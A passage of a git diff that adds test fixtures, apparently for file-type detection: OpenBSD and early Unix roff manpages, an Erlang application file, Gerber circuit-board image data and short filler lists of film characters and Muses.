+rho	K  K  |  sigma	Y  Y  |  SIGMA	R  R
+tau	I  I  |  phi	U  U  |  PHI	F  F
+psi	V  V  |  PSI	H  H  |  omega	C  C
+OMEGA	Z  Z  |  nabla	[  [  |  not	_  _
+partial	]  ]  |  integral  ^  ^
+..
+.sh "SEE ALSO"
+ascii (VII)
diff --git a/test/fixtures/Generic/7/nil/samurai.7 b/test/fixtures/Generic/7/nil/samurai.7
new file mode 100644
index 0000000000..3a787eff3d
--- /dev/null
+++ b/test/fixtures/Generic/7/nil/samurai.7
@@ -0,0 +1,7 @@
+菊千代
+島田勘兵衛
+七郎次
+岡本勝四郎
+林田平八
+久蔵
+片山五郎兵衛
diff --git a/test/fixtures/Generic/8/Roff Manpage/wsconsctl.8 b/test/fixtures/Generic/8/Roff Manpage/wsconsctl.8
new file mode 100644
index 0000000000..f7ef41c50b
--- /dev/null
+++ b/test/fixtures/Generic/8/Roff Manpage/wsconsctl.8	
@@ -0,0 +1,204 @@
+.\" $OpenBSD: wsconsctl.8,v 1.25 2017/05/27 10:25:44 fcambus Exp $
+.\" $NetBSD: wsconsctl.8,v 1.5 1999/09/12 18:47:11 kleink Exp $
+.\"
+.\" Copyright (c) 1998 The NetBSD Foundation, Inc.
+.\" All rights reserved.
+.\"
+.\" This code is derived from software contributed to The NetBSD Foundation
+.\" by Juergen Hannken-Illjes.
+.\"
+.\" Redistribution and use in source and binary forms, with or without
+.\" modification, are permitted provided that the following conditions
+.\" are met:
+.\" 1. Redistributions of source code must retain the above copyright
+.\"    notice, this list of conditions and the following disclaimer.
+.\" 2. Redistributions in binary form must reproduce the above copyright
+.\"    notice, this list of conditions and the following disclaimer in the
+.\"    documentation and/or other materials provided with the distribution.
+.\"
+.\" THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
+.\" ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+.\" TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+.\" PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
+.\" BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+.\" CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+.\" SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+.\" CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+.\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+.\" POSSIBILITY OF SUCH DAMAGE.
+.\"/
+.Dd $Mdocdate: May 27 2017 $
+.Dt WSCONSCTL 8
+.Os
+.Sh NAME
+.Nm wsconsctl
+.Nd get or set wscons state
+.Sh SYNOPSIS
+.Nm wsconsctl
+.Op Fl an
+.Nm wsconsctl
+.Op Fl n
+.Op Fl f Ar file
+.Ar name ...
+.Nm wsconsctl
+.Op Fl n
+.Op Fl f Ar file
+.Ar name Ns = Ns Ar value ...
+.Sh DESCRIPTION
+The
+.Nm
+command displays or sets various wscons system driver variables.
+If a list of variables is present on the command line,
+.Nm
+prints the current value of those variables for the specified device.
+.Pp
+The options are as follows:
+.Bl -tag -width Ds
+.It Fl a
+Print all device variables and their current values.
+This is the default, if no parameters are given to
+.Nm .
+.It Fl f Ar file
+Specify an alternative control device.
+.It Fl n
+Suppress printing of the variable name in the output.
+.It Ar name Ns = Ns Ar value
+Attempt to set the specified variable
+.Ar name
+to
+.Ar value .
+The value can be specified as either an absolute, by using the
+.Ql =
+symbol,
+or as a relative value, by using the
+.Ql +=
+or
+.Ql -=
+symbols.
+See the
+.Sx EXAMPLES
+section for more details.
+.El
+.Pp
+The
+.Nm
+utility can be used to view and modify aspects of the keyboard,
+display, and mouse using the standard, machine-independent
+workstation console device driver
+.Xr wscons 4 .
+.Pp
+The keyboard type can be modified, the keyboard bell's pitch, period,
+and duration can be modified,
+the
+.Ar typematic
+value can be changed, and the keyboard encoding can be modified
+to switch keys, should the user find a keyboard's default layout
+difficult to use.
+.Pp
+There are also definitions relating to video
+control and cursor control, which are not applicable to
+all display types, and to text emulation and graphics
+(mapped) modes.
+.Pp
+Use the
+.Xr kbd 8
+utility to determine which keyboard encodings are available for your
+country.
+.Pp
+A keyboard mapping can also be specified in
+.Pa /etc/kbdtype .
+.Sh FILES
+.Bl -tag -width /usr/include/dev/wscons/wsconsio.h -compact
+.It Pa /dev/ttyC0
+display control device
+.It Pa /dev/wskbd0
+keyboard control device
+.It Pa /dev/wsmouse0
+mouse control device
+.It Pa /etc/kbdtype
+default keyboard mapping
+.It Pa /etc/wsconsctl.conf
+a list of parameters that get set at system startup time from
+.Xr rc 8
+.It Pa /usr/include/dev/wscons/wsconsio.h
+keyboard/mouse/display definitions
+.El
+.Sh EXAMPLES
+Set a UK keyboard encoding:
+.Pp
+.Dl # wsconsctl keyboard.encoding=uk
+.Pp
+Modify the current keyboard encoding so that, when the
+.Ar Caps Lock
+key is pressed, the same encoding sequence as
+.Ar Left Control
+is sent.
+For a full list of keysyms, and keycodes, please refer
+to the
+.Ar /usr/include/dev/wscons/wsksymdef.h
+file.
+.Pp
+.Dl # wsconsctl keyboard.map+="keysym Caps_Lock = Control_L"
+.Pp
+Assign the
+.Ar Right Alt
+key to be the group modifier (layout is changed while the key is pressed):
+.Pp
+.Dl # wsconsctl keyboard.map+="keycode 184=Mode_switch"
+.Pp
+Assign the
+.Ar Right Control
+key to be the lock for the group modifier.
+The effect of
+.Ar Mode_Lock
+and
+.Ar Mode_switch
+is not mutually exclusive, to be consistent with
+.Ar Caps Lock
+and
+.Ar Shift
+behaviour.
+.Pp
+.Dl # wsconsctl keyboard.map+="keycode 157=Mode_Lock"
+.Pp
+Set a US keyboard encoding, with the
+.Ar Caps Lock
+and
+.Ar Left Control
+keys swapped.
+The
+.Ar .swapctrlcaps
+encoding does not work for all national keyboard encodings.
+For most purposes, the ability to set the value returned
+by the
+.Ar Caps Lock
+key is enough \- see the previous example for details.
+.Pp
+.Dl # wsconsctl keyboard.encoding=us.swapctrlcaps
+.Pp
+Set the bell pitch to be 1200:
+.Pp
+.Dl # wsconsctl keyboard.bell.pitch=1200
+.Pp
+Add 200 to the current pitch of the bell:
+.Pp
+.Dl # wsconsctl keyboard.bell.pitch+=200
+.Pp
+Set the display font to Gallant:
+.Pp
+.Dl # wsconsctl display.font=Gallant
+.Sh SEE ALSO
+.Xr pckbd 4 ,
+.Xr wscons 4 ,
+.Xr wsconsctl.conf 5 ,
+.Xr kbd 8 ,
+.Xr wsconscfg 8 ,
+.Xr wsfontload 8
+.Sh HISTORY
+The
+.Nm
+command first appeared in
+.Nx 1.4
+and
+.Ox 2.8 .
diff --git a/test/fixtures/Generic/8/Roff/ino.8 b/test/fixtures/Generic/8/Roff/ino.8
new file mode 100644
index 0000000000..be9c35c424
--- /dev/null
+++ b/test/fixtures/Generic/8/Roff/ino.8
@@ -0,0 +1,10 @@
+.th INO VIII 11/1/73
+.sh NAME
+ino \*- get the i-number of a file
+.sh SYNOPSIS
+.bd ino
+file ...
+.sh DESCRIPTION
+The i-number of each file argument is printed.
+An i-number of zero is printed if a bad argument is given.
+.sh BUGS
diff --git a/test/fixtures/Generic/8/nil/the-hateful.8 b/test/fixtures/Generic/8/nil/the-hateful.8
new file mode 100644
index 0000000000..b89735549b
--- /dev/null
+++ b/test/fixtures/Generic/8/nil/the-hateful.8
@@ -0,0 +1,8 @@
+Major Marquis Warren
+John "The Hangman" Ruth
+Daisy Domergue
+Chris Mannix
+Señor Bob
+Oswaldo Mobray
+Joe Gage
+General Sanford "Sandy" Smithers
diff --git a/test/fixtures/Generic/9/Roff Manpage/vwakeup.9 b/test/fixtures/Generic/9/Roff Manpage/vwakeup.9
new file mode 100644
index 0000000000..4ce8a55012
--- /dev/null
+++ b/test/fixtures/Generic/9/Roff Manpage/vwakeup.9	
@@ -0,0 +1,48 @@
+.\"	$OpenBSD: vwakeup.9,v 1.5 2013/08/14 06:32:33 jmc Exp $
+.\" Written by Jared Yanovich
+.\" This file belongs to the public domain.
+.Dd $Mdocdate: August 14 2013 $
+.Dt VWAKEUP 9
+.Os
+.Sh NAME
+.Nm vwakeup
+.Nd update outstanding I/O count and do wakeup on a vnode
+.Sh SYNOPSIS
+.In sys/param.h
+.In sys/vnode.h
+.Ft void
+.Fn vwakeup "struct vnode *vp"
+.Sh DESCRIPTION
+The
+.Fn vwakeup
+function updates the number of outstanding I/O operations on the target
+vnode, stored in its
+.Va v_numoutput
+field.
+If the target vnode has the
+.Dv VBIOWAIT
+flag set in its
+.Va v_bioflag
+field and has no outstanding I/O operations remaining, a
+.Xr wakeup 9
+is performed as well.
+.Pp
+The
+.Fn vwakeup
+function must be called at
+.Xr splbio 9 .
+.Sh SEE ALSO
+.Xr panic 9 ,
+.Xr splbio 9 ,
+.Xr vnode 9 ,
+.Xr vwaitforio 9 ,
+.Xr wakeup 9
+.Sh HISTORY
+This document first appeared in
+.Ox 3.7 .
+.Sh CAVEATS
+Calling
+.Fn vwakeup
+more times than the number of outstanding I/O operations will cause the
+system to
+.Xr panic 9 .
diff --git a/test/fixtures/Generic/9/Roff/vs.9 b/test/fixtures/Generic/9/Roff/vs.9
new file mode 100644
index 0000000000..5d39daed02
--- /dev/null
+++ b/test/fixtures/Generic/9/Roff/vs.9
@@ -0,0 +1,35 @@
+.th VS I 2/13/73
+.sh NAME
+vs _ phoneme list to voice synthesizer
+.sh SYNOPSIS
+.bd vs
+.sh DESCRIPTION
+.it vs
+accepts phoneme descriptor lists and translates them into
+byte strings suitable for the Federal Screw Works Voice
+Synthesizer.
+Phoneme descritors should be separated by commas and
+have the general form "%NIxx"
+where "xx" is a one or two character phoneme name,
+"I" is an optional inflection parameter,
+and "%N" is an optional count of the number of times
+the phoneme is to be repeated (maximum 9).
+"I" can have the values 0, 1, 2, 3 representing decreasing
+strength (default is 2).
+A description of the phonemes and their names can be
+found in the file vsp(VII).
+For example,
+.in +3
+.s3
+a0,o1,t,r,1ai,1ay,d,j,ih,u1,%2s
+.s3
+.in-3
+will generate the word "outrageous".
+The output is buffered;
+a newline will cause the buffered output to be
+sent to the Voice Synthesizer.
+.sh FILES
+.sh "SEE ALSO"
+vsp(VII), speak(I)
+.sh DIAGNOSTICS
+.sh BUGS
diff --git a/test/fixtures/Generic/9/nil/muses.9 b/test/fixtures/Generic/9/nil/muses.9
new file mode 100644
index 0000000000..5363151da4
--- /dev/null
+++ b/test/fixtures/Generic/9/nil/muses.9
@@ -0,0 +1,9 @@
+Calliope
+Cilo
+Erato
+Euterpe
+Melpomene
+Polyhymnia
+Terpsichore
+Thalia
+Urania
diff --git a/test/fixtures/Generic/app/Erlang/regular.app b/test/fixtures/Generic/app/Erlang/regular.app
new file mode 100644
index 0000000000..b2c7666bc8
--- /dev/null
+++ b/test/fixtures/Generic/app/Erlang/regular.app
@@ -0,0 +1,15 @@
+{application, regular, [
+	{applications, [
+		kernel,
+		stdlib
+	]},
+	{description, "Regular application"},
+	{mod, {regular_app, []}},
+	{modules, [
+		regular,
+		regular_app,
+		regular_server,
+		regular_sup]},
+	{registered, [regular_server]},
+	{vsn, "0.1.0"}
+]}.
diff --git a/test/fixtures/Generic/app/nil/ignored.app b/test/fixtures/Generic/app/nil/ignored.app
new file mode 100644
index 0000000000..097f763e4f
--- /dev/null
+++ b/test/fixtures/Generic/app/nil/ignored.app
@@ -0,0 +1 @@
+Not an Erlang application resource file.
diff --git a/test/fixtures/Generic/cmp/Gerber Image/gerber1.cmp b/test/fixtures/Generic/cmp/Gerber Image/gerber1.cmp
new file mode 100644
index 0000000000..b4606e806e
--- /dev/null
+++ b/test/fixtures/Generic/cmp/Gerber Image/gerber1.cmp	
@@ -0,0 +1,502 @@
+G75*
+G70*
+%OFA0B0*%
+%FSLAX25Y25*%
+%IPPOS*%
+%LPD*%
+%AMOC8*
+5,1,8,0,0,1.08239X$1,22.5*
+%
+%ADD16C,0.02360*%
+%ADD17C,0.03570*%
+X0011000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0016510D02*
+X0023540Y0029490D01*
+X0023540Y0016510D02*
+X0016460Y0016510D01*
+X0016460Y0029490D01*
+X0023540Y0029490D01*
+X0023540Y0018860D02*
+X0016460Y0018860D01*
+X0016460Y0021210D02*
+X0023540Y0021210D01*
+X0023540Y0023560D02*
+X0016460Y0023560D01*
+X0016460Y0025910D02*
+X0023540Y0025910D01*
+X0023540Y0028260D02*
+X0016460Y0028260D01*
+X0033460Y0029490D02*
+X0033460Y0016510D01*
+X0033460Y0029490D02*
+X0040540Y0029490D01*
+X0040540Y0016510D01*
+X0033460Y0016510D01*
+X0033460Y0018860D02*
+X0040540Y0018860D01*
+X0040540Y0021210D02*
+X0033460Y0021210D01*
+X0033460Y0023560D02*
+X0040540Y0023560D01*
+X0040540Y0025910D02*
+X0033460Y0025910D01*
+X0033460Y0028260D02*
+X0040540Y0028260D01*
+D17*
+X0017000Y0017000D03*
+X0017000Y0021000D03*
+X0017000Y0025000D03*
+X0017000Y0029000D03*
+X0022500Y0029000D03*
+X0022500Y0017000D03*
+X0034500Y0017000D03*
+X0040000Y0017000D03*
+X0040000Y0021000D03*
+X0040000Y0025000D03*
+X0040000Y0029000D03*
+X0034500Y0029000D03*
+X0011000Y0037000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0042510D02*
+X0023540Y0055490D01*
+X0023540Y0042510D02*
+X0016460Y0042510D01*
+X0016460Y0055490D01*
+X0023540Y0055490D01*
+X0023540Y0044860D02*
+X0016460Y0044860D01*
+X0016460Y0047210D02*
+X0023540Y0047210D01*
+X0023540Y0049560D02*
+X0016460Y0049560D01*
+X0016460Y0051910D02*
+X0023540Y0051910D01*
+X0023540Y0054260D02*
+X0016460Y0054260D01*
+X0033460Y0055490D02*
+X0033460Y0042510D01*
+X0033460Y0055490D02*
+X0040540Y0055490D01*
+X0040540Y0042510D01*
+X0033460Y0042510D01*
+X0033460Y0044860D02*
+X0040540Y0044860D01*
+X0040540Y0047210D02*
+X0033460Y0047210D01*
+X0033460Y0049560D02*
+X0040540Y0049560D01*
+X0040540Y0051910D02*
+X0033460Y0051910D01*
+X0033460Y0054260D02*
+X0040540Y0054260D01*
+D17*
+X0017000Y0043000D03*
+X0017000Y0047000D03*
+X0017000Y0051000D03*
+X0017000Y0055000D03*
+X0022500Y0055000D03*
+X0022500Y0043000D03*
+X0034500Y0043000D03*
+X0040000Y0043000D03*
+X0040000Y0047000D03*
+X0040000Y0051000D03*
+X0040000Y0055000D03*
+X0034500Y0055000D03*
+X0048000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0016510D02*
+X0060540Y0029490D01*
+X0060540Y0016510D02*
+X0053460Y0016510D01*
+X0053460Y0029490D01*
+X0060540Y0029490D01*
+X0060540Y0018860D02*
+X0053460Y0018860D01*
+X0053460Y0021210D02*
+X0060540Y0021210D01*
+X0060540Y0023560D02*
+X0053460Y0023560D01*
+X0053460Y0025910D02*
+X0060540Y0025910D01*
+X0060540Y0028260D02*
+X0053460Y0028260D01*
+X0070460Y0029490D02*
+X0070460Y0016510D01*
+X0070460Y0029490D02*
+X0077540Y0029490D01*
+X0077540Y0016510D01*
+X0070460Y0016510D01*
+X0070460Y0018860D02*
+X0077540Y0018860D01*
+X0077540Y0021210D02*
+X0070460Y0021210D01*
+X0070460Y0023560D02*
+X0077540Y0023560D01*
+X0077540Y0025910D02*
+X0070460Y0025910D01*
+X0070460Y0028260D02*
+X0077540Y0028260D01*
+D17*
+X0054000Y0017000D03*
+X0054000Y0021000D03*
+X0054000Y0025000D03*
+X0054000Y0029000D03*
+X0059500Y0029000D03*
+X0059500Y0017000D03*
+X0071500Y0017000D03*
+X0077000Y0017000D03*
+X0077000Y0021000D03*
+X0077000Y0025000D03*
+X0077000Y0029000D03*
+X0071500Y0029000D03*
+X0011000Y0063000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0068510D02*
+X0023540Y0081490D01*
+X0023540Y0068510D02*
+X0016460Y0068510D01*
+X0016460Y0081490D01*
+X0023540Y0081490D01*
+X0023540Y0070860D02*
+X0016460Y0070860D01*
+X0016460Y0073210D02*
+X0023540Y0073210D01*
+X0023540Y0075560D02*
+X0016460Y0075560D01*
+X0016460Y0077910D02*
+X0023540Y0077910D01*
+X0023540Y0080260D02*
+X0016460Y0080260D01*
+X0033460Y0081490D02*
+X0033460Y0068510D01*
+X0033460Y0081490D02*
+X0040540Y0081490D01*
+X0040540Y0068510D01*
+X0033460Y0068510D01*
+X0033460Y0070860D02*
+X0040540Y0070860D01*
+X0040540Y0073210D02*
+X0033460Y0073210D01*
+X0033460Y0075560D02*
+X0040540Y0075560D01*
+X0040540Y0077910D02*
+X0033460Y0077910D01*
+X0033460Y0080260D02*
+X0040540Y0080260D01*
+D17*
+X0017000Y0069000D03*
+X0017000Y0073000D03*
+X0017000Y0077000D03*
+X0017000Y0081000D03*
+X0022500Y0081000D03*
+X0022500Y0069000D03*
+X0034500Y0069000D03*
+X0040000Y0069000D03*
+X0040000Y0073000D03*
+X0040000Y0077000D03*
+X0040000Y0081000D03*
+X0034500Y0081000D03*
+X0048000Y0037000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0042510D02*
+X0060540Y0055490D01*
+X0060540Y0042510D02*
+X0053460Y0042510D01*
+X0053460Y0055490D01*
+X0060540Y0055490D01*
+X0060540Y0044860D02*
+X0053460Y0044860D01*
+X0053460Y0047210D02*
+X0060540Y0047210D01*
+X0060540Y0049560D02*
+X0053460Y0049560D01*
+X0053460Y0051910D02*
+X0060540Y0051910D01*
+X0060540Y0054260D02*
+X0053460Y0054260D01*
+X0070460Y0055490D02*
+X0070460Y0042510D01*
+X0070460Y0055490D02*
+X0077540Y0055490D01*
+X0077540Y0042510D01*
+X0070460Y0042510D01*
+X0070460Y0044860D02*
+X0077540Y0044860D01*
+X0077540Y0047210D02*
+X0070460Y0047210D01*
+X0070460Y0049560D02*
+X0077540Y0049560D01*
+X0077540Y0051910D02*
+X0070460Y0051910D01*
+X0070460Y0054260D02*
+X0077540Y0054260D01*
+D17*
+X0054000Y0043000D03*
+X0054000Y0047000D03*
+X0054000Y0051000D03*
+X0054000Y0055000D03*
+X0059500Y0055000D03*
+X0059500Y0043000D03*
+X0071500Y0043000D03*
+X0077000Y0043000D03*
+X0077000Y0047000D03*
+X0077000Y0051000D03*
+X0077000Y0055000D03*
+X0071500Y0055000D03*
+X0011000Y0089000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0094510D02*
+X0023540Y0107490D01*
+X0023540Y0094510D02*
+X0016460Y0094510D01*
+X0016460Y0107490D01*
+X0023540Y0107490D01*
+X0023540Y0096860D02*
+X0016460Y0096860D01*
+X0016460Y0099210D02*
+X0023540Y0099210D01*
+X0023540Y0101560D02*
+X0016460Y0101560D01*
+X0016460Y0103910D02*
+X0023540Y0103910D01*
+X0023540Y0106260D02*
+X0016460Y0106260D01*
+X0033460Y0107490D02*
+X0033460Y0094510D01*
+X0033460Y0107490D02*
+X0040540Y0107490D01*
+X0040540Y0094510D01*
+X0033460Y0094510D01*
+X0033460Y0096860D02*
+X0040540Y0096860D01*
+X0040540Y0099210D02*
+X0033460Y0099210D01*
+X0033460Y0101560D02*
+X0040540Y0101560D01*
+X0040540Y0103910D02*
+X0033460Y0103910D01*
+X0033460Y0106260D02*
+X0040540Y0106260D01*
+D17*
+X0017000Y0095000D03*
+X0017000Y0099000D03*
+X0017000Y0103000D03*
+X0017000Y0107000D03*
+X0022500Y0107000D03*
+X0022500Y0095000D03*
+X0034500Y0095000D03*
+X0040000Y0095000D03*
+X0040000Y0099000D03*
+X0040000Y0103000D03*
+X0040000Y0107000D03*
+X0034500Y0107000D03*
+X0048000Y0063000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0068510D02*
+X0060540Y0081490D01*
+X0060540Y0068510D02*
+X0053460Y0068510D01*
+X0053460Y0081490D01*
+X0060540Y0081490D01*
+X0060540Y0070860D02*
+X0053460Y0070860D01*
+X0053460Y0073210D02*
+X0060540Y0073210D01*
+X0060540Y0075560D02*
+X0053460Y0075560D01*
+X0053460Y0077910D02*
+X0060540Y0077910D01*
+X0060540Y0080260D02*
+X0053460Y0080260D01*
+X0070460Y0081490D02*
+X0070460Y0068510D01*
+X0070460Y0081490D02*
+X0077540Y0081490D01*
+X0077540Y0068510D01*
+X0070460Y0068510D01*
+X0070460Y0070860D02*
+X0077540Y0070860D01*
+X0077540Y0073210D02*
+X0070460Y0073210D01*
+X0070460Y0075560D02*
+X0077540Y0075560D01*
+X0077540Y0077910D02*
+X0070460Y0077910D01*
+X0070460Y0080260D02*
+X0077540Y0080260D01*
+D17*
+X0054000Y0069000D03*
+X0054000Y0073000D03*
+X0054000Y0077000D03*
+X0054000Y0081000D03*
+X0059500Y0081000D03*
+X0059500Y0069000D03*
+X0071500Y0069000D03*
+X0077000Y0069000D03*
+X0077000Y0073000D03*
+X0077000Y0077000D03*
+X0077000Y0081000D03*
+X0071500Y0081000D03*
+X0048000Y0089000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0094510D02*
+X0060540Y0107490D01*
+X0060540Y0094510D02*
+X0053460Y0094510D01*
+X0053460Y0107490D01*
+X0060540Y0107490D01*
+X0060540Y0096860D02*
+X0053460Y0096860D01*
+X0053460Y0099210D02*
+X0060540Y0099210D01*
+X0060540Y0101560D02*
+X0053460Y0101560D01*
+X0053460Y0103910D02*
+X0060540Y0103910D01*
+X0060540Y0106260D02*
+X0053460Y0106260D01*
+X0070460Y0107490D02*
+X0070460Y0094510D01*
+X0070460Y0107490D02*
+X0077540Y0107490D01*
+X0077540Y0094510D01*
+X0070460Y0094510D01*
+X0070460Y0096860D02*
+X0077540Y0096860D01*
+X0077540Y0099210D02*
+X0070460Y0099210D01*
+X0070460Y0101560D02*
+X0077540Y0101560D01*
+X0077540Y0103910D02*
+X0070460Y0103910D01*
+X0070460Y0106260D02*
+X0077540Y0106260D01*
+D17*
+X0054000Y0095000D03*
+X0054000Y0099000D03*
+X0054000Y0103000D03*
+X0054000Y0107000D03*
+X0059500Y0107000D03*
+X0059500Y0095000D03*
+X0071500Y0095000D03*
+X0077000Y0095000D03*
+X0077000Y0099000D03*
+X0077000Y0103000D03*
+X0077000Y0107000D03*
+X0071500Y0107000D03*
+X0011000Y0115000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0120510D02*
+X0023540Y0133490D01*
+X0023540Y0120510D02*
+X0016460Y0120510D01*
+X0016460Y0133490D01*
+X0023540Y0133490D01*
+X0023540Y0122860D02*
+X0016460Y0122860D01*
+X0016460Y0125210D02*
+X0023540Y0125210D01*
+X0023540Y0127560D02*
+X0016460Y0127560D01*
+X0016460Y0129910D02*
+X0023540Y0129910D01*
+X0023540Y0132260D02*
+X0016460Y0132260D01*
+X0033460Y0133490D02*
+X0033460Y0120510D01*
+X0033460Y0133490D02*
+X0040540Y0133490D01*
+X0040540Y0120510D01*
+X0033460Y0120510D01*
+X0033460Y0122860D02*
+X0040540Y0122860D01*
+X0040540Y0125210D02*
+X0033460Y0125210D01*
+X0033460Y0127560D02*
+X0040540Y0127560D01*
+X0040540Y0129910D02*
+X0033460Y0129910D01*
+X0033460Y0132260D02*
+X0040540Y0132260D01*
+D17*
+X0017000Y0121000D03*
+X0017000Y0125000D03*
+X0017000Y0129000D03*
+X0017000Y0133000D03*
+X0022500Y0133000D03*
+X0022500Y0121000D03*
+X0034500Y0121000D03*
+X0040000Y0121000D03*
+X0040000Y0125000D03*
+X0040000Y0129000D03*
+X0040000Y0133000D03*
+X0034500Y0133000D03*
+X0048000Y0115000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0120510D02*
+X0060540Y0133490D01*
+X0060540Y0120510D02*
+X0053460Y0120510D01*
+X0053460Y0133490D01*
+X0060540Y0133490D01*
+X0060540Y0122860D02*
+X0053460Y0122860D01*
+X0053460Y0125210D02*
+X0060540Y0125210D01*
+X0060540Y0127560D02*
+X0053460Y0127560D01*
+X0053460Y0129910D02*
+X0060540Y0129910D01*
+X0060540Y0132260D02*
+X0053460Y0132260D01*
+X0070460Y0133490D02*
+X0070460Y0120510D01*
+X0070460Y0133490D02*
+X0077540Y0133490D01*
+X0077540Y0120510D01*
+X0070460Y0120510D01*
+X0070460Y0122860D02*
+X0077540Y0122860D01*
+X0077540Y0125210D02*
+X0070460Y0125210D01*
+X0070460Y0127560D02*
+X0077540Y0127560D01*
+X0077540Y0129910D02*
+X0070460Y0129910D01*
+X0070460Y0132260D02*
+X0077540Y0132260D01*
+D17*
+X0054000Y0121000D03*
+X0054000Y0125000D03*
+X0054000Y0129000D03*
+X0054000Y0133000D03*
+X0059500Y0133000D03*
+X0059500Y0121000D03*
+X0071500Y0121000D03*
+X0077000Y0121000D03*
+X0077000Y0125000D03*
+X0077000Y0129000D03*
+X0077000Y0133000D03*
+X0071500Y0133000D03*
+M02*
diff --git a/test/fixtures/Generic/cmp/nil/ignored1.cmp b/test/fixtures/Generic/cmp/nil/ignored1.cmp
new file mode 100644
index 0000000000..3658d2c899
--- /dev/null
+++ b/test/fixtures/Generic/cmp/nil/ignored1.cmp
@@ -0,0 +1 @@
+Not a Solidity file.
diff --git a/test/fixtures/Generic/sol/Gerber Image/gerber1.sol b/test/fixtures/Generic/sol/Gerber Image/gerber1.sol
new file mode 100644
index 0000000000..b4606e806e
--- /dev/null
+++ b/test/fixtures/Generic/sol/Gerber Image/gerber1.sol	
@@ -0,0 +1,502 @@
+G75*
+G70*
+%OFA0B0*%
+%FSLAX25Y25*%
+%IPPOS*%
+%LPD*%
+%AMOC8*
+5,1,8,0,0,1.08239X$1,22.5*
+%
+%ADD16C,0.02360*%
+%ADD17C,0.03570*%
+X0011000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0016510D02*
+X0023540Y0029490D01*
+X0023540Y0016510D02*
+X0016460Y0016510D01*
+X0016460Y0029490D01*
+X0023540Y0029490D01*
+X0023540Y0018860D02*
+X0016460Y0018860D01*
+X0016460Y0021210D02*
+X0023540Y0021210D01*
+X0023540Y0023560D02*
+X0016460Y0023560D01*
+X0016460Y0025910D02*
+X0023540Y0025910D01*
+X0023540Y0028260D02*
+X0016460Y0028260D01*
+X0033460Y0029490D02*
+X0033460Y0016510D01*
+X0033460Y0029490D02*
+X0040540Y0029490D01*
+X0040540Y0016510D01*
+X0033460Y0016510D01*
+X0033460Y0018860D02*
+X0040540Y0018860D01*
+X0040540Y0021210D02*
+X0033460Y0021210D01*
+X0033460Y0023560D02*
+X0040540Y0023560D01*
+X0040540Y0025910D02*
+X0033460Y0025910D01*
+X0033460Y0028260D02*
+X0040540Y0028260D01*
+D17*
+X0017000Y0017000D03*
+X0017000Y0021000D03*
+X0017000Y0025000D03*
+X0017000Y0029000D03*
+X0022500Y0029000D03*
+X0022500Y0017000D03*
+X0034500Y0017000D03*
+X0040000Y0017000D03*
+X0040000Y0021000D03*
+X0040000Y0025000D03*
+X0040000Y0029000D03*
+X0034500Y0029000D03*
+X0011000Y0037000D02*
+G75*
+%LPD*%
+D16*
+X0023540Y0042510D02*
+X0023540Y0055490D01*
+X0023540Y0042510D02*
+X0016460Y0042510D01*
+X0016460Y0055490D01*
+X0023540Y0055490D01*
+X0023540Y0044860D02*
+X0016460Y0044860D01*
+X0016460Y0047210D02*
+X0023540Y0047210D01*
+X0023540Y0049560D02*
+X0016460Y0049560D01*
+X0016460Y0051910D02*
+X0023540Y0051910D01*
+X0023540Y0054260D02*
+X0016460Y0054260D01*
+X0033460Y0055490D02*
+X0033460Y0042510D01*
+X0033460Y0055490D02*
+X0040540Y0055490D01*
+X0040540Y0042510D01*
+X0033460Y0042510D01*
+X0033460Y0044860D02*
+X0040540Y0044860D01*
+X0040540Y0047210D02*
+X0033460Y0047210D01*
+X0033460Y0049560D02*
+X0040540Y0049560D01*
+X0040540Y0051910D02*
+X0033460Y0051910D01*
+X0033460Y0054260D02*
+X0040540Y0054260D01*
+D17*
+X0017000Y0043000D03*
+X0017000Y0047000D03*
+X0017000Y0051000D03*
+X0017000Y0055000D03*
+X0022500Y0055000D03*
+X0022500Y0043000D03*
+X0034500Y0043000D03*
+X0040000Y0043000D03*
+X0040000Y0047000D03*
+X0040000Y0051000D03*
+X0040000Y0055000D03*
+X0034500Y0055000D03*
+X0048000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0060540Y0016510D02*
+X0060540Y0029490D01*
+X0060540Y0016510D02*
+X0053460Y0016510D01*
+X0053460Y0029490D01*
+X0060540Y0029490D01*
+X0060540Y0018860D02*
+X0053460Y0018860D01*
+X0053460Y0021210D02*
+X0060540Y0021210D01*
+X0060540Y0023560D02*
+X0053460Y0023560D01*
+X0053460Y0025910D02*
+X0060540Y0025910D01*
+X0060540Y0028260D02*
+X0053460Y0028260D01*
+X0070460Y0029490D02*
+X0070460Y0016510D01*
+X0070460Y0029490D02*
+X0077540Y0029490D01*
+X0077540Y0016510D01*
+X0070460Y0016510D01*
+X0070460Y0018860D02*
+X0077540Y0018860D01*
+X0077540Y0021210D02*
+X0070460Y0021210D01*
+X0070460Y0023560D02*
+X0077540Y0023560D01*
+X0077540Y0025910D02*
+X0070460Y0025910D01*
+X0070460Y0028260D02*
+X0077540Y0028260D01*
+D17*
+X0054000Y0017000D03*
+X0054000Y0021000D03*
+X0054000Y0025000D03*
